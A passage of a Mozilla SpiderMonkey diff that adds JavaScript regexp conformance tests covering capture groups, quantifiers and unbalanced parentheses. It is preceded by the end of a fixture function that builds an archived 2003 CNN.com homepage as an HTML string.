+ s += '[[tr]][[td width="173" bgcolor="#003366"]][[div class="cnnBlueBoxHeader"]][[span class="cnnBigPrint"]][[b]]WATCH CNN TV[[/b]][[/span]][[/div]][[/td]][[td width="25" class="cnnBlueBoxHeader" align="right"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""]][[/td]][[td width="69" class="cnnBlueBoxTab" align="right" bgcolor="#336699"]][[a href="/CNN/Programs/"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/tv.schedule.gif" alt="On CNN TV" border="0" width="65" height="11" hspace="2" vspace="2" align="right"]][[/a]][[/td]][[/tr]][[/table]][[table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0"]][[tr valign="top"]][[td]]';
+ s += '[[img src="http://i.cnn.net/cnn/2003/images/05/31/tz.bw.jpg" alt="" width="65" height="49" border="0" align="right"]]';
+ s += ' ';
+ s += '[[b]] CNN Presents: The Hunt for Eric Robert Rudolph (8 p.m. ET)[[/b]][[br]]Latest on his capture.';
+ s += ' [[/td]]';
+ s += ' [[/tr]]';
+ s += ' [[/table]]';
+ s += '-->';
+ s += '';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div> ';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' <table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="184" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>ANALYSIS</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="58" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/US"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/us.gif" alt="U.S. News" border="0" width="54" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += '<a href="/2003/US/06/12/nyt.safire/index.html"><img src="http://i.a.cnn.net/cnn/2003/US/06/12/nyt.safire/tz.stewart.jpg" alt="Fight It, Martha" width="65" height="49" border="0" align="right"></a>';
+ s += '';
+ s += '';
+ s += '<span class="cnnBodyText" style="font-weight:bold;color:#000;">NYTimes: </span> <a href="/2003/US/06/12/nyt.safire/index.html">Fight It, Martha</a><br>';
+ s += 'William Safire: I hope Martha Stewart beats this bum rap';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' <table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="164" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>OFFBEAT</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="78" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/offbeat"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/offbeat.gif" alt="more offbeat" width="74" height="11" border="0" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <table width="267" bgcolor="#DDDDDD" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += '<a href="/2003/HEALTH/06/12/offbeat.china.sperm.ap/index.html"><img src="http://i.a.cnn.net/cnn/2003/HEALTH/06/12/offbeat.china.sperm.ap/tz.china.sperm.jpg" alt="Waiting list" width="65" height="49" border="0" align="right"></a>';
+ s += ' ';
+ s += ' <a href="/2003/HEALTH/06/12/offbeat.china.sperm.ap/index.html">Waiting list</a><br>';
+ s += 'Chinas "smart sperm" bank needs donors';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += ' <table width="267" bgcolor="#999999" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td>';
+ s += ' <table width="100%" border="0" cellpadding="4" cellspacing="1">';
+ s += ' <tr>';
+ s += ' <td bgcolor="#EEEEEE" class="cnnMainWeatherBox"><a name="weatherBox"></a>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '<table width="257" border="0" cellpadding="1" cellspacing="0">';
+ s += '<form method="get" action="http://weather.cnn.com/weather/search" style="margin: 0px">';
+ s += '<input type="hidden" name="mode" value="hplwp">';
+ s += ' <tr>';
+ s += ' <td bgcolor="#FFFFFF"><table width="255" bgcolor="#EAEFF4" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td colspan="2" class="cnnWEATHERrow">&nbsp;<span class="cnnBigPrint">WEATHER</span></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="2" class="cnnBodyText">Get your hometown weather on the home page! <b>Enter city name or U.S. Zip Code:</b></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td><input class="cnnFormText" type="text" size="12" name="wsearch" value="" style="width:100px;"></td>';
+ s += ' <td><input class="cnnNavButton" type="submit" value="PERSONALIZE"></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td class="cnnBodyText" colspan="2">Or <a href="javascript:CNN_openPopup("http://weather.cnn.com/weather/select.popup/content2.jsp?mode=hplwp", "weather", "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=260,height=250")"><b>select location from a list</b></a></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' </tr>';
+ s += '</form>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td bgcolor="#EEEEEE">';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="2">';
+ s += ' <tr>';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/quickvote.gif" alt="Quick Vote" width="107" height="24" border="0"></td>';
+ s += ' <td width="88" align="right"><!-- ad home/quickvote/sponsor.88x31 -->';
+ s += '<!-- ad commented while aol investigates 3/31/03 5:40 a.m. lk -->';
+ s += '<a href="http://ar.atwola.com/link/93101912/aol"><img src="http://ar.atwola.com/image/93101912/aol" alt="Click Here" width="88" height="31" border="0" hspace="0" vspace="0"></a>';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '<table width="100%" cellspacing="0" cellpadding="1" border="0"><form target="popuppoll" method="post" action="http://polls.cnn.com/poll">';
+ s += '<INPUT TYPE=HIDDEN NAME="poll_id" VALUE="3966">';
+ s += '<tr><td colspan="2" align="left"><span class="cnnBodyText">Should an international peacekeeping force be sent to the Mideast?<br></span></td></tr>';
+ s += '<tr valign="top">';
+ s += '<td><span class="cnnBodyText">Yes</span>';
+ s += '</td><td align="right"><input value="1" type="radio" name="question_1"></td></tr>';
+ s += '<tr valign="top">';
+ s += '<td><span class="cnnBodyText">No</span>';
+ s += '</td><td align="right"><input value="2" type="radio" name="question_1"></td></tr>';
+ s += '<!-- /end Question 1 -->';
+ s += '<tr>';
+ s += '<td colspan="2">';
+ s += '<table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td><span class="cnnInterfaceLink"><nobr><a href="javascript:CNN_openPopup("/POLLSERVER/results/3966.html","popuppoll","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=510,height=400")">VIEW RESULTS</a></nobr></span></td>';
+ s += '<td align="right"><input class="cnnFormButton" onclick="CNN_openPopup("","popuppoll","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=510,height=400")" value="VOTE" type="SUBMIT"></td></tr></table></td></tr>';
+ s += '</form></table>';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <!-- /right --></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3" valign="bottom"> <img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="483" height="1"> </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0" summary="Links to stories from CNN partners">';
+ s += ' <col width="10">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <col width="5">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <col width="5">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <tr><td colspan="6"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="6" width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td colspan="3"><span class="cnnMenuText" style="font-size: 12px"><b style="color: #c00">From our Partners</b></span>';
+ s += ' <img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/icon_external.gif" alt=" External site icon " width="20" height="13" border="0" align="middle"></td>';
+ s += ' <td colspan="2"></td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="5"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr><td colspan="5" bgcolor="#CCCCCC"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr>';
+ s += ' <tr><td colspan="5"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/time/" target="new"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partner_time.gif" alt="Time: " width="70" height="17" border="0"></a><br><div style="margin-top: 4px"> &#8226;&nbsp;<a target="new" href="/time/magazine/article/0,9171,1101030616-457387,00.html?CNN=yes">Where the Jobs Are</a><br> &#8226;&nbsp;<a target="new" href="/time/magazine/article/0,9171,1101030616-457373,00.html?CNN=yes">Of Dogs and Men</a><br> &#8226;&nbsp;<a target="new" href="/time/photoessays/gunmen/?CNN=yes">Photo Essay: Fighting the Peace</a><br></div><table border="0"><tr><td><img height="1" width="1" alt="" src="http://i.cnn.net/cnn/images/1.gif"/></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a target="new" href="/linkto/time.main.html">Subscribe to TIME</a>&nbsp;&nbsp;</td></tr></table> </td>';
+ s += ' <td width="5"><br></td>';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/cnnsi/index.html?cnn=yes"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partner_si.gif" alt="CNNsi.com: " width="138" height="17" border="0"></a><br><div style="margin-top: 4px">';
+ s += '&#8226;&nbsp;Marty Burns: <a target="new" href="/cnnsi/inside_game/marty_burns/news/2003/06/11/burns_game4/">Nets pull out all stops</a><br>';
+ s += '&#8226;&nbsp;Michael Farber: <a target="new" href="/cnnsi/inside_game/michael_farber/news/2003/06/11/farber_wrapup/">Sens look good for "04</a><br>';
+ s += '&#8226;&nbsp;Tim Layden: <a target="new" href="/cnnsi/inside_game/tim_layden/news/2003/06/11/layden_neuheisel/">NFL or bust for Neuheisel</a><br>';
+ s += '</div>';
+ s += '<table border="0"><tr><td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a href="http://subs.timeinc.net/CampaignHandler/si_cnnsi?source_id=19">Subscribe to Sports Illustrated</a>&nbsp;&nbsp;</td></tr></table>';
+ s += ' </td>';
+ s += ' <td width="5"><br></td>';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/linkto/nyt/main.banner.html" target="new"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partners_nyt.gif" alt="New York Times: " width="105" height="17" border="0"></a><br><div style="margin-top: 4px"> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/1.0612.html">U.S. Widens Checks at Foreign Ports</a><br> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/2.0612.html">Rumsfeld: Iran Developing Nuclear Arms</a><br> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/3.0612.html">Vandalism, "Improvements" Mar Great Wall</a><br></div><table border="0"><tr><td><img height="1" width="1" alt="" src="http://i.cnn.net/cnn/images/1.gif"/></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a target="new" href="/linkto/nyt.main.html">Get 50% OFF the NY Times</a>&nbsp;&nbsp;</td></tr></table> </td>';
+ s += ' </tr>';
+ s += '';
+ s += '</table>';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></div>';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="10"></td>';
+ s += ' <td width="760">';
+ s += '<!-- floor -->';
+ s += '';
+ s += '<table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td bgcolor="#999999"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr></table>';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></div>';
+ s += '';
+ s += '<table width="100%" bgcolor="#DEDEDE" border="0" cellpadding="3" cellspacing="0">';
+ s += ' <tr> ';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="5" height="5"></td>';
+ s += ' <td><a href="http://edition.cnn.com/" class="cnnFormTextB" onClick="clickEdLink()" style="color:#000;">International Edition</a></td>';
+ s += '<form>';
+ s += ' <td><select title="CNN.com is available in different languages" class="cnnMenuText" name="languages" size="1" style="font-weight: bold; vertical-align: middle" onChange="if (this.options[selectedIndex].value != "") location.href=this.options[selectedIndex].value">';
+ s += ' <option value="" disabled selected>Languages</option>';
+ s += ' <option value="" disabled>---------</option>';
+ s += ' <option value="/cnnes/">Spanish</option>';
+ s += ' <option value="http://cnn.de/">German</option>';
+ s += ' <option value="http://cnnitalia.it/">Italian</option>';
+ s += ' <option value="http://www.joins.com/cnn/">Korean</option>';
+ s += ' <option value="http://arabic.cnn.com/">Arabic</option>';
+ s += ' <option value="http://www.CNN.co.jp/">Japanese</option>';
+ s += ' </select></td>';
+ s += '</form>';
+ s += ' <td><a href="/CNN/Programs/" class="cnnFormTextB" style="color:#000;">CNN TV</a></td>';
+ s += ' <td><a href="/CNNI/" class="cnnFormTextB" style="color:#000;">CNN International</a></td>';
+ s += ' <td><a href="/HLN/" class="cnnFormTextB" style="color:#000;">Headline News</a></td>';
+ s += ' <td><a href="/TRANSCRIPTS/" class="cnnFormTextB" style="color:#000;">Transcripts</a></td>';
+ s += ' <td><a href="/services/preferences/" title="Customize your CNN.com experience" class="cnnFormTextB" style="color:#000;">Preferences</a></td>';
+ s += ' <td><a href="/INDEX/about.us/" class="cnnFormTextB" style="color:#000;">About CNN.com</a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></div>';
+ s += '';
+ s += '<table width="100%" bgcolor="#EFEFEF" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top"> ';
+ s += ' <td style="padding-left:10px"><div class="cnnSectCopyright">';
+ s += '<b>&copy; 2003 Cable News Network LP, LLLP.</b><br>';
+ s += 'An AOL Time Warner Company. All Rights Reserved.<br>';
+ s += '<a href="/interactive_legal.html">Terms</a> under which this service is provided to you.<br>';
+ s += 'Read our <a href="/privacy.html">privacy guidelines</a>. <a href="/feedback/">Contact us</a>.';
+ s += ' </div></td>';
+ s += ' <td align="right"><table border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr> ';
+ s += ' <td rowspan="2" align="middle"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/dotted.line.gif" alt="" width="7" height="46"></td>';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13"></td>';
+ s += ' <td><div class="cnnSectExtSites">All external sites will open in a new browser.<br>';
+ s += ' CNN.com does not endorse external sites.</div></td>';
+ s += ' <td rowspan="2" align="middle"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/dotted.line.gif" alt="" width="7" height="46"></td>';
+ s += ' <td rowspan="2"><!-- home/powered_by/sponsor.88x31 -->';
+ s += '<script language="JavaScript1.1">';
+ s += '<!--';
+ s += 'adSetTarget("_top");';
+ s += 'htmlAdWH( (new Array(93103308,93103308,93103308,93103308))[document.adoffset||0] , 88, 31);';
+ s += '//-->';
+ s += '</script><noscript><a href="http://ar.atwola.com/link/93103308/aol" target="_top"><img src="http://ar.atwola.com/image/93103308/aol" alt="Click here for our advertiser" width="88" height="31" border="0"></a></noscript>';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr valign="top"> ';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/icon_premium.gif" alt=" Premium content icon " width="9" height="11"></td>';
+ s += ' <td><span class="cnnSectExtSites">Denotes premium content.</span></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<!-- /floor --></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '<!-- popunder ad generic/popunder_launch.720x300 -->';
+ s += '<script language="JavaScript1.1" type="text/javascript">';
+ s += '<!--';
+ s += 'if (document.adPopupFile) {';
+ s += ' if (document.adPopupInterval == null) {';
+ s += ' document.adPopupInterval = "0";';
+ s += ' }';
+ s += ' if (document.adPopunderInterval == null) {';
+ s += ' document.adPopunderInterval = document.adPopupInterval;';
+ s += ' }';
+ s += ' if (document.adPopupDomain != null) {';
+ s += ' adSetPopDm(document.adPopupDomain);';
+ s += ' }';
+ s += ' adSetPopupWH("93162673", "720", "300", document.adPopupFile, document.adPopunderInterval, 20, 50, -1);';
+ s += '}';
+ s += '// -->';
+ s += '</script>';
+ s += ' ';
+ s += '<!-- home/bottom.eyeblaster -->';
+ s += '<script language="JavaScript1.1" type="text/javascript">';
+ s += '<!--';
+ s += 'var MacPPC = (navigator.platform == "MacPPC") ? true : false;';
+ s += 'if (!MacPPC) {';
+ s += 'adSetType("J");';
+ s += 'htmlAdWH( (new Array(93137910,93137910,93137910,93137910))[document.adoffset||0], 101, 1);';
+ s += 'adSetType("");';
+ s += '}';
+ s += '// -->';
+ s += '</script>';
+ s += '';
+ s += '<script language="JavaScript1.1" src="http://ar.atwola.com/file/adsEnd.js"></script>';
+ s += '';
+ s += '<img src="/cookie.crumb" alt="" width="1" height="1">';
+ s += '<!--include virtual="/virtual/2002/main/survey.html"-->';
+ s += '</body>';
+ s += '</html>';
+
+ return s;
+ }
diff --git a/js/src/tests/non262/RegExp/regress-209919.js b/js/src/tests/non262/RegExp/regress-209919.js
new file mode 100644
index 0000000000..c8113f8abe
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-209919.js
@@ -0,0 +1,138 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 June 2003
+ * SUMMARY: Testing regexp submatches with quantifiers
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=209919
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 209919;
+var summary = 'Testing regexp submatches with quantifiers';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * Waldemar: "ECMA-262 15.10.2.5, third algorithm, step 2.1 states that
+ * once the minimum repeat count (which is 0 for *, 1 for +, etc.) has
+ * been satisfied, an atom being repeated must not match the empty string."
+ *
+ * In this example, the minimum repeat count is 0, so the last thing the
+ * capturing parens is permitted to contain is the 'a'. It may NOT go on
+ * to capture the '' at the $ position of 'a', even though '' satifies
+ * the condition b*
+ *
+ */
+status = inSection(1);
+string = 'a';
+pattern = /(a|b*)*/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'a');
+addThis();
+
+
+/*
+ * In this example, the minimum repeat count is 5, so the capturing parens
+ * captures the 'a', then goes on to capture the '' at the $ position of 'a'
+ * 4 times before it has to stop. Therefore the last thing it contains is ''.
+ */
+status = inSection(2);
+string = 'a';
+pattern = /(a|b*){5,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '');
+addThis();
+
+
+/*
+ * Reduction of the above examples to contain only the condition b*
+ * inside the capturing parens. This can be even harder to grasp!
+ *
+ * The global match is the '' at the ^ position of 'a', but the parens
+ * is NOT permitted to capture it since the minimum repeat count is 0!
+ */
+status = inSection(3);
+string = 'a';
+pattern = /(b*)*/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', undefined);
+addThis();
+
+
+/*
+ * Here we have used the + quantifier (repeat count 1) outside the parens.
+ * Therefore the parens must capture at least once before stopping, so it
+ * does capture the '' this time -
+ */
+status = inSection(4);
+string = 'a';
+pattern = /(b*)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+
+/*
+ * More complex examples -
+ */
+pattern = /^\-?(\d{1,}|\.{0,})*(\,\d{1,})?$/;
+
+status = inSection(5);
+string = '100.00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '00', undefined);
+addThis();
+
+status = inSection(6);
+string = '100,00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '100', ',00');
+addThis();
+
+status = inSection(7);
+string = '1.000,00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '000', ',00');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-216591.js b/js/src/tests/non262/RegExp/regress-216591.js
new file mode 100644
index 0000000000..28104ef95d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-216591.js
@@ -0,0 +1,81 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 August 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=216591
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 216591;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a {result.data.DATA} b';
+pattern = /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('{result.data.DATA}', 'result.data.', 'data.', 'DATA');
+addThis();
+
+/*
+ * Add a global flag to the regexp. In Perl 5, this gives the same results as above. Compare:
+ *
+ * [ ] perl -e '"a {result.data.DATA} b" =~ /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/i; print("$&, $1, $2, $3");'
+ * {result.data.DATA}, result.data., data., DATA
+ *
+ * [ ] perl -e '"a {result.data.DATA} b" =~ /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/gi; print("$&, $1, $2, $3");'
+ * {result.data.DATA}, result.data., data., DATA
+ *
+ *
+ * But in JavaScript, there will no longer be any sub-captures:
+ */
+status = inSection(2);
+string = 'a {result.data.DATA} b';
+pattern = /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/gi;
+actualmatch = string.match(pattern);
+expectedmatch = Array('{result.data.DATA}');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-220367-001.js b/js/src/tests/non262/RegExp/regress-220367-001.js
new file mode 100644
index 0000000000..40e83b4b38
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-220367-001.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 September 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220367
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 220367;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a';
+pattern = /(a)|(b)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'a', undefined);
+addThis();
+
+status = inSection(2);
+string = 'b';
+pattern = /(a)|(b)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, undefined, 'b');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-223273.js b/js/src/tests/non262/RegExp/regress-223273.js
new file mode 100644
index 0000000000..fc842fe53d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-223273.js
@@ -0,0 +1,242 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 23 October 2003
+ * SUMMARY: Unescaped, unbalanced parens in a regexp should cause SyntaxError.
+ *
+ * The same would also be true for unescaped, unbalanced brackets or braces
+ * if we followed the ECMA-262 Ed. 3 spec on this. But it was decided for
+ * backward compatibility reasons to follow Perl 5, which permits
+ *
+ * 1. an unescaped, unbalanced right bracket ]
+ * 2. an unescaped, unbalanced left brace {
+ * 3. an unescaped, unbalanced right brace }
+ *
+ * If any of these should occur, Perl treats each as a literal
+ * character. Therefore we permit all three of these cases, even
+ * though not ECMA-compliant. Note Perl errors on an unescaped,
+ * unbalanced left bracket; so will we.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223273
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 223273;
+var summary = 'Unescaped, unbalanced parens in regexp should be a SyntaxError';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * All the following contain unescaped, unbalanced parens and
+ * should generate SyntaxErrors. That's what we're testing for.
+ *
+ * To allow the test to compile and run, we have to hide the errors
+ * inside eval strings, and check they are caught at run-time.
+ *
+ * Inside such strings, remember to escape any escape character!
+ */
+status = inSection(1);
+testThis(' /(/ ');
+
+status = inSection(2);
+testThis(' /)/ ');
+
